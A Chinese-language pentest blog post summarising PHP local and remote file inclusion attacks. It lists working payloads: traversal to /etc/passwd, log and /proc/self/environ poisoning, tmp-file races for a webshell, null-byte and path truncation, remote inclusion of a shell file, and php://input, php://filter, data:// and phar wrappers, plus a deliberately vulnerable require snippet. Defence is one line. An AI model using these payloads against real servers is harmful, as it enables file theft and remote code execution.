文件包含漏洞总结

CracerCracer 2015-12-16 渗透测试 1,626 0 5

346148_104334603105_2_副本

简述原理

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()

区别:

1. include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
2. require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件
include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

1

测试环境:windows7+phpstudy 、 ubuntu+lnmp

本地包含:

1. 包含目录文件
?f=test.txt
如果里面的内容是php,则内容会被当成php执行,不是php则会读取到文件内容(用来读取/etc/passw等等配置文件的敏感信息)

?f=./../../test.txt

2

当前目录,

3

上一级目录,这样的遍历目录来读取文件

金山软件官网文件包含问题:
http://www.wooyun.org/bugs/wooyun-2010-073100
文件读取漏洞路径收集:
http://wiki.wooyun.org/pentest:filepath

2. 包含日志文件
无法上传文件的时候,可以尝试利用UA插入payload到日志文件,然后包含容器的日志文件(错误、访问文件都行),注意:选择凌晨包含最 好,payload后面加一个exit()退出程序,以防大日志导致浏览器卡死,如果包含不成功,也许是open_basedir限制了目录

4

常见几个路径:
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
更多见上面的路径收集
3. 包含系统环境
linux(FreeBSD是没有这个的)下的/proc/self/environ
要求是php运行早cgi上面(具体没测试)...然后和包含日志一样,在User-agent修改成payload.
Exploiting LFI to RCE /proc/self/environ with burpsuite:
https://www.youtube.com/watch?v=dlh0ogYy9ys
4. 包含session文件
session文件一般在/tmp目录下,格式为sess_[phpsessid],
5. 包含其他由php创建的tmp文件
上传一个文件的过程,可以在tmp那里包含:

5

向服务器上**任意php**文件以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。

6

7

本地测试:
8
链家旗下自如某站一个有意思的文件包含到简单内网渗透(本地文件包含getshell技巧):
http://www.wooyun.org/bugs/wooyun-2015-0134185

###本地包含小姿势
审计中可见这样的包含模版文件:

9

1. %00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
2. %00截断目录遍历:
/var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
3. 路径长度截断:
/etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
4. 点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
###远程包含&&常见封装协议的利用
1. 远程代码执行:
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On)
10
在雨牛总结中看到,通过445共享

2. 利用php流input(接受POST过来的值):
?file=php://input
(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)
代码执行:

11

3. 利用php流filter(过滤器,可以用来**读取php文件内容**,不需要开启allow_url_include):
?file=php://filter/convert.base64-encode/resource=index.php

4. 利用data URIs:
?file=data://text/plain;base64,base64编码的payload
(需要allow_url_include=On)

12

<?php phpinfo();

13

php
$include_file=$_GET[include_file];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
require( $include_file );
}

14

php
<?php
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt', '<?php phpinfo();?>');
?>

15

创建phar的时候要注意php.ini的参数,phar.readonly设置为off(本地测试的两个默认都是off)
然后通过包含协议访问:
http://192.168.227.128/other/lfi ... st.aaa/testfile.txt

16

此方法使用要php>5.3.0

###工具&&防御
工具:
https://github.com/P0cL4bs/Kadimus/
防御:
设置open_basedir

###文献参考
http://wiki.wooyun.org/web:lfi
PHP文件包含漏洞总结:
http://drops.wooyun.org/tips/3827
文件包含与注入利用总结:
https://www.91ri.org/2736.html
php://input,php://filter,data URI schema的那些事:
https://www.91ri.org/7470.html
phar协议:
https://www.91ri.org/13363.html
论PHP常见的漏洞:
http://drops.wooyun.org/papers/4544
LFI WITH PHPINFO() ASSISTANCE:
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
PHP_LFI_rfc1867_temporary_files:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

转载请注明来自Cracer,本文标题:《文件包含漏洞总结》

喜欢 (5) 发布评论
发表评论


Top